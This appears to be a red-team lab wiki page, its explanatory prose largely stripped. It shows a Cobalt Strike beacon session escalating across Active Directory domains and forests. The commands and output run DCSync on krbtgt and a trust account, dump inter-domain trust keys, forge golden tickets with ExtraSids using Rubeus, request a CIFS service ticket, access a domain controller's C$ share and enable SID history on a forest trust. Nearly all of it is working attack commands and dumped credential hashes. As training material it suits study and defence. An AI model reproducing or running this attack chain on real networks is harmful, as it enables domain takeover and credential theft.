krbtgt Dc01 2

```
beacon> powershell get-domaintrust
[*] Tasked beacon to run: get-domaintrust
[+] host called home, sent: 313 bytes
[+] received output:
#< CLIXML


SourceName      : prod.raven-med.local
TargetName      : raven-med.local
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection  : Bidirectional
WhenCreated     : 1/21/2023 3:13:26 AM
WhenChanged     : 6/11/2023 7:10:03 PM
```

krbtgt

AD sidHistory (PAC **SID** ExtraSids) sidHistory/ExtraSids **SID** Microsoft Mimikatz/Rubeus **KERB_VALIDATION_INFO** (**ExtraSids** PAC ExtraSids) **KERB_SID_AND_ATTRIBUTES** SID

krbtgt Mimikatz/Rubeus **SID**

SID

krbtgt

```
beacon> dcsync prod.raven-med.local prod\krbtgt
[*] Tasked beacon to run mimikatz's @lsadump::dcsync /domain:prod.raven-med.local /user:prod\krbtgt command
[+] host called home, sent: 296050 bytes
[+] received output:
[DC] 'prod.raven-med.local' will be the domain
[DC] 'dc01.prod.raven-med.local' will be the DC server
[DC] 'prod\krbtgt' will be the user account

Object RDN           : krbtgt

** SAM ACCOUNT **

SAM Username         : krbtgt
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration   :
Password last change : 1/20/2023 8:14:17 PM
Object Security ID   : S-1-5-21-1674258736-4167122442-1078531953-502
Object Relative ID   : 502

Credentials:
  Hash NTLM: 94b3020b55c558748fdf5c1521bc5194
    ntlm- 0: 94b3020b55c558748fdf5c1521bc5194
    lm  - 0: c5cc7f01260465b95d0b9ecb6e3faa09

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 2d772adfd4f4b0a8d8ce9da0025b1665

* Primary:Kerberos-Newer-Keys *
    Default Salt : PROD.RAVEN-MED.LOCALkrbtgt
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 8d253b4d7db4f28ccbb653ba5dfc3ba878bd376d99ab4859d575201935d79157
      aes128_hmac       (4096) : 8f7cf8d752f44b20cd0da97c784d5971
      des_cbc_md5       (4096) : d5156b377a85bfab
```

ExtraSids SID

```
Rubeus.exe golden /aes256:8d253b4d7db4f28ccbb653ba5dfc3ba878bd376d99ab4859d575201935d79157 /user:Administrator /domain:prod.raven-med.local /sid:S-1-5-21-1674258736-4167122442-1078531953 /sids:S-1-5-21-3775014555-2484002919-2799327105-512 /nowrap
```

```
beacon> execute-assembly /opt/red/rubeus.exe golden /aes256:8d253b4d7db4f28ccbb653ba5dfc3ba878bd376d99ab4859d575201935d79157
[*] Tasked beacon to run .NET program: rubeus.exe golden /aes256:8d253b4d7db4f28ccbb653ba5dfc3ba878bd376d99ab4859d575201935d
[+] host called home, sent: 551937 bytes
[+] received output:


  ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.0

[*] Action: Build TGT

[*] Building PAC

[*] Domain         : PROD.RAVEN-MED.LOCAL (PROD)
[*] SID            : S-1-5-21-1674258736-4167122442-1078531953
[*] UserId         : 500
[*] Groups         : 520,512,513,519,518
[*] ExtraSIDs      : S-1-5-21-3775014555-2484002919-2799327105-512
[*] ServiceKey     : 8D253B4D7DB4F28CCBB653BA5DFC3BA878BD376D99AB4859D575201935D79157
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey         : 8D253B4D7DB4F28CCBB653BA5DFC3BA878BD376D99AB4859D575201935D79157
[*] KDCKeyType     : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service        : krbtgt
[*] Target         : prod.raven-med.local

[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED

[+] received output:
[*] Forged a TGT for 'Administrator@prod.raven-med.local'

[*] AuthTime       : 6/15/2023 8:00:55 PM
[*] StartTime      : 6/15/2023 8:00:55 PM
[*] EndTime        : 6/16/2023 6:00:55 AM
[*] RenewTill      : 6/22/2023 8:00:55 PM

[*] base64(ticket.kirbi):


doIFvTCCBbmgAwIBBaEDAgEWooIEjDCCBIhggSEMIIEgKADAgEFoRYbFFBST0QuUkFWRU4tTUVELkxPQ0FMoikwJ6ADAgECoSAwHhsGa3JidGd0GxRwcm9kLnJh
```

```
beacon> make_token raven-med\administrator NotRealPassword
[*] Tasked beacon to create a token for raven-med\administrator
[+] host called home, sent: 57 bytes
[+] Impersonated PROD\Administrator
beacon> kerberos_ticket_use /root/Desktop/krbtgt.kirbi
[*] Tasked beacon to apply ticket in /root/Desktop/krbtgt.kirbi
[+] host called home, sent: 3035 bytes
beacon> ls \\dc02.raven-med.local\c$
[*] Tasked beacon to list files in \\dc02.raven-med.local\c$
[+] host called home, sent: 43 bytes
[*] Listing: \\dc02.raven-med.local\c$\

 Size     Type    Last Modified         Name
 ----     ----    -------------         ----
          dir     09/15/2018 00:19:00   $Recycle.Bin
          dir     01/20/2023 19:26:23   Documents and Settings
          dir     09/15/2018 00:19:00   PerfLogs
          dir     01/28/2023 12:14:41   Program Files
          dir     01/20/2023 10:28:55   Program Files (x86)
          dir     04/02/2023 13:18:32   ProgramData
          dir     01/20/2023 19:26:29   Recovery
          dir     01/20/2023 15:38:40   System Volume Information
          dir     01/20/2023 10:28:49   Users
          dir     01/20/2023 15:57:19   Windows
 512mb    fil     02/14/2023 19:10:04   pagefile.sys
```

```
mimikatz lsadump::dcsync /domain:prod.raven-med.local /user:raven-med$
mimikatz lsadump::trust /patch
```

[In]

```
beacon> mimikatz lsadump::dcsync /domain:prod.raven-med.local /user:raven-med$
[*] Tasked beacon to run mimikatz's lsadump::dcsync /domain:prod.raven-med.local /user:raven-med$
[+] host called home, sent: 750705 bytes
[+] received output:
[DC] 'prod.raven-med.local' will be the domain
[DC] 'dc01.prod.raven-med.local' will be the DC server
[DC] 'raven-med$' will be the user account

Object RDN           : RAVEN-MED$

** SAM ACCOUNT **

SAM Username         : RAVEN-MED$
Account Type         : 30000002 ( TRUST_ACCOUNT )
User Account Control : 00000820 ( PASSWD_NOTREQD INTERDOMAIN_TRUST_ACCOUNT )
Account expiration   :
Password last change : 6/11/2023 12:10:03 PM
Object Security ID   : S-1-5-21-1674258736-4167122442-1078531953-1103
Object Relative ID   : 1103

Credentials:
  Hash NTLM: 7a93230db5144ccd92ac1fa086f46e49
    ntlm- 0: 7a93230db5144ccd92ac1fa086f46e49
    ntlm- 1: f5669e2c6b8147ef95199d0a34125ad5
    ntlm- 2: f5669e2c6b8147ef95199d0a34125ad5
    ntlm- 3: 5d9e4423b3b3fffd579d591aeb8ab2bc
    ntlm- 4: 5d9e4423b3b3fffd579d591aeb8ab2bc
    ntlm- 5: 283ee5dd966165c409a92372ef013126
    ntlm- 6: 283ee5dd966165c409a92372ef013126
    lm  - 0: 28a872d570a7726816bb203a96bbe3e5
    lm  - 1: 0c4036f8a9e2fa2f1744c29de0a7552a
    lm  - 2: a1b82e9623e56cf63ffcc5cbfa34b61e
    lm  - 3: d9d2553e70ca3645178399948e9854d7
    lm  - 4: e2a2b37c2801abc6e493db0deb550a17
    lm  - 5: 56558b10a93b7887414a532573ea4d54
    lm  - 6: ec219b4667d76e166d53846aa11e8429
```

```
beacon> mimikatz lsadump::trust /patch
[*] Tasked beacon to run mimikatz's lsadump::trust /patch command
[+] host called home, sent: 750704 bytes
[+] received output:

Current domain: PROD.RAVEN-MED.LOCAL (PROD / S-1-5-21-1674258736-4167122442-1078531953)

Domain: RAVEN-MED.LOCAL (RAVEN-MED / S-1-5-21-3775014555-2484002919-2799327105)
 [  In ] PROD.RAVEN-MED.LOCAL -> RAVEN-MED.LOCAL
    * 6/11/2023 12:10:03 PM - CLEAR   - 15 84 c8 57 06 8c d7 6b e0 04 3d ea 28 4c 5d f5 3a b5 8f 8e 7f 7c
ae 1c 1a 60 45 59 71 5f aa df 45 8a 6e 11 04 a5 15 e1 4b ac b5 48 00 07 70 06 aa b4 ea f1 cc 7e a2 1f 18
45 06 30 ef b5 25 88 56 2c 00 1f 18 2c 17 07 4c 0d 52 7c 40 88 c9 37 5b 0f e8 dd 72 29 e9 ee 2e 79 f4 05
4d b8 fa 03 aa ad ad ec 28 72 74 9b 8c 26 6b 71 e8 de 8e cb f4 0d 2a b5 ed
        * aes256_hmac       e168f710251f6304bf377f0f3779fcbd885d079d085b14df56830f04c965ab71
        * aes128_hmac       4a96dec260c0b3af353328cfe8eaa472
        * rc4_hmac_nt       7a93230db5144ccd92ac1fa086f46e49

 [ Out ] RAVEN-MED.LOCAL -> PROD.RAVEN-MED.LOCAL
    * 6/11/2023 11:33:12 AM - CLEAR   - 40 51 1d 89 63 04 a5 3d 52 44 a4 63 4e 23 d2 20 78 73 a3 46 0d e6
46 84 91 1d 81 87 a4 7b af b4 7c 5a 75 e8 87 5d 26 eb 83 6c 26 54 75 8f a1 16 be 90 62 d1 ee 8c 13 77 4f
58 ac 63 be aa ec 83 a3 66 71 4a b8 c6 ce e0 29 b4 8e cd 9a 4c a1 8f fa e1 55 b6 b9 43 4f 2e e8 2d 25 9d
b4 53 c1 d6 2d 3a 35 44 60 77 70 9b db a6 41 19 02 17 67 43 27 ad 8b 6a 15
        * aes256_hmac       7fe3d30bada6f8a4be098df2c7787116383cefaa3b9c4c468b67ca9ecd6544fd
        * aes128_hmac       0ebbdac1922b0451e3a081a5bf7450bc
        * rc4_hmac_nt       525fed861e6da4bf06de1be65c9ee3c7
```

TGT

```
Rubeus.exe golden /rc4:7a93230db5144ccd92ac1fa086f46e49 /user:Administrator
/domain:prod.raven-med.local /sid:S-1-5-21-1674258736-4167122442-1078531953 /sids:S-1-5-21-
3775014555-2484002919-2799327105-512 /nowrap
```

```
beacon> execute-assembly /opt/red/rubeus.exe golden /rc4:7a93230db5144ccd92ac1fa086f46e49 /user:Administrator
[*] Tasked beacon to run .NET program: rubeus.exe golden /rc4:7a93230db5144ccd92ac1fa086f46e49 /user:Administ
[+] host called home, sent: 551867 bytes
[+] received output:


  ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.0

[*] Action: Build TGT

[*] Building PAC

[*] Domain         : PROD.RAVEN-MED.LOCAL (PROD)
[*] SID            : S-1-5-21-1674258736-4167122442-1078531953
[*] UserId         : 500
[*] Groups         : 520,512,513,519,518
[*] ExtraSIDs      : S-1-5-21-3775014555-2484002919-2799327105-512
[*] ServiceKey     : 7A93230DB5144CCD92AC1FA086F46E49
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5
[*] KDCKey         : 7A93230DB5144CCD92AC1FA086F46E49
[*] KDCKeyType     : KERB_CHECKSUM_HMAC_MD5
[*] Service        : krbtgt
[*] Target         : prod.raven-med.local

[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for 'Administrator@prod.raven-med.local'

[*] AuthTime       : 6/15/2023 8:05:19 PM
[*] StartTime      : 6/15/2023 8:05:19 PM
[*] EndTime        : 6/16/2023 6:05:19 AM
[*] RenewTill      : 6/22/2023 8:05:19 PM

[*] base64(ticket.kirbi):

      doIFpTCCBaGgAwIBBaEDAgEWooIEiDCCBIRhggSAMIIEfKADAgEFoRYbFFBST0QuUkFWRU4tTUVELkxPQ0FMoikwJ6ADAgECoSAwHhs
```

TGT TGS

```
Rubeus.exe asktgs /ticket:<...> /service:cifs/dc02.raven-med.local /dc:dc02.raven-med.local
/nowrap
```

```
beacon> execute-assembly /opt/red/rubeus.exe asktgs
/ticket:doIFpTCCBaGgAwIBBaEDAgEWooIEiDCCBIRhggSAMIIEfKADAgEFoRYbFFBST0QuUkFWRU4tTUVELkxPQ0FMoikwJ6ADAgECoSAwHhsGa3JidGd0GxRw
/service:cifs/dc02.raven-med.local /dc:dc02.raven-med.local /nowrap
[*] Tasked beacon to run .NET program: rubeus.exe asktgs
/ticket:doIFpTCCBaGgAwIBBaEDAgEWooIEiDCCBIRhggSAMIIEfKADAgEFoRYbFFBST0QuUkFWRU4tTUVELkxPQ0FMoikwJ6ADAgECoSAwHhsGa3JidGd0GxRw
/service:cifs/dc02.raven-med.local /dc:dc02.raven-med.local /nowrap
[+] host called home, sent: 555497 bytes
[+] received output:


  ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.0

[*] Action: Ask TGS

[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'cifs/dc02.raven-med.local'
[*] Using domain controller: dc02.raven-med.local (172.16.1.21)
[+] TGS request successful!
[*] base64(ticket.kirbi):


doIFvjCCBbqgAwIBBaEDAgEWooIErTCCBKlhggSlMIIEoaADAgEFoREbD1JBVkVOLU1FRC5MT0NBTKInMCWgAwIBAqEeMBwbBGNpZnMbFGRjMDIucmF2ZW4tbWVk

  ServiceName              :  cifs/dc02.raven-med.local
  ServiceRealm             :  RAVEN-MED.LOCAL
  UserName                 :  Administrator
  UserRealm                :  PROD.RAVEN-MED.LOCAL
  StartTime                :  6/15/2023 8:06:08 PM
  EndTime                  :  6/16/2023 6:05:19 AM
  RenewTill                :  6/22/2023 8:05:19 PM
  Flags                    :  name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  wbjJt2yMcVDxLNQ5HgsodQlbvnfrgvJlyVsaWZPDFgM=
```

```
beacon> make_token raven-med\administrator NotRealPassword
[*] Tasked beacon to create a token for raven-med\administrator
[+] host called home, sent: 57 bytes
[+] Impersonated PROD\Administrator
beacon> kerberos_ticket_use /root/Desktop/trust.kirbi
[*] Tasked beacon to apply ticket in /root/Desktop/trust.kirbi
[+] host called home, sent: 3036 bytes
beacon> ls \\dc02.raven-med.local\c$
[*] Tasked beacon to list files in \\dc02.raven-med.local\c$
[+] host called home, sent: 43 bytes
[*] Listing: \\dc02.raven-med.local\c$\

 Size     Type    Last Modified         Name
 ----     ----    -------------         ----
          dir     09/15/2018 00:19:00   $Recycle.Bin
          dir     01/20/2023 19:26:23   Documents and Settings
          dir     09/15/2018 00:19:00   PerfLogs
          dir     01/28/2023 12:14:41   Program Files
          dir     01/20/2023 10:28:55   Program Files (x86)
          dir     04/02/2023 13:18:32   ProgramData
          dir     01/20/2023 19:26:29   Recovery
          dir     01/20/2023 15:38:40   System Volume Information
          dir     01/20/2023 10:28:49   Users
          dir     01/20/2023 15:57:19   Windows
 512mb    fil     02/14/2023 19:10:04   pagefile.sys
```

ADc02 White-bird

```
beacon> powershell get-domaintrust -domain white-bird.local
[*] Tasked beacon to run: get-domaintrust -domain white-bird.local
[+] host called home, sent: 377 bytes
[+] received output:
#< CLIXML


SourceName      : white-bird.local
TargetName      : med-deal.local
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection  : Outbound
WhenCreated     : 1/22/2023 4:28:57 AM
WhenChanged     : 6/11/2023 6:53:04 PM

SourceName      : white-bird.local
TargetName      : raven-med.local
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection  : Bidirectional
WhenCreated     : 6/16/2023 3:17:30 AM
WhenChanged     : 6/16/2023 3:17:30 AM
```

SID Dc05 SID

```
netdom trust white-bird.local /d:raven-med.local /enablesidhistory:yes
```

```
beacon> run netdom trust white-bird.local /d:raven-med.local /enablesidhistory:yes
[*] Tasked beacon to run: netdom trust white-bird.local /d:raven-med.local /enablesidhistory:yes
[+] host called home, sent: 88 bytes
[+] received output:
Enabling SID history for this trust.

The command completed successfully.
```

TREAT_AS_EXTERNAL

```
beacon> powershell get-domaintrust -domain white-bird.local
[*] Tasked beacon to run: get-domaintrust -domain white-bird.local
[+] host called home, sent: 377 bytes
[+] received output:
#< CLIXML


SourceName       : white-bird.local
TargetName       : med-deal.local
TrustType        : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes  : FOREST_TRANSITIVE
TrustDirection   : Outbound
WhenCreated      : 1/22/2023 4:28:57 AM
WhenChanged      : 6/11/2023 6:53:04 PM

SourceName       : white-bird.local
TargetName       : raven-med.local
TrustType        : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes  : TREAT_AS_EXTERNAL,FOREST_TRANSITIVE
TrustDirection   : Bidirectional
WhenCreated      : 6/16/2023 3:17:30 AM
WhenChanged      : 6/16/2023 3:22:39 AM
```

SID RID ≥1000 White-bird **Server Admin**

```
beacon> powershell get-netgroup -identity "Server Admin" -domain white-bird.local
[*] Tasked beacon to run: get-netgroup -identity "Server Admin" -domain white-bird.local
[+] host called home, sent: 437 bytes
[+] received output:
#< CLIXML


grouptype             : GLOBAL_SCOPE, SECURITY
name                  : Server Admin
samaccounttype        : GROUP_OBJECT
samaccountname        : Server Admin
whenchanged           : 4/2/2023 9:25:46 PM
objectsid             : S-1-5-21-2387957962-993181570-3566323574-1605
objectclass           : {top, group}
cn                    : Server Admin
usnchanged            : 33677
dscorepropagationdata : {4/2/2023 9:25:46 PM, 1/1/1601 12:00:00 AM}
description           : Manage Web02 and Dev01 server.
distinguishedname     : CN=Server Admin,OU=Groups,DC=white-bird,DC=local
member                : CN=serveradm,CN=Users,DC=white-bird,DC=local
usncreated            : 32228
whencreated           : 2/14/2023 12:19:52 AM
instancetype          : 4
objectguid            : 3740237a-1e20-4cf3-a92f-21ce8de696af
objectcategory        : CN=Group,CN=Schema,CN=Configuration,DC=white-bird,DC=local
```

Revision #21
Created 5 September 2022 03:12:30 by
Updated 9 February 2024 03:41:23 by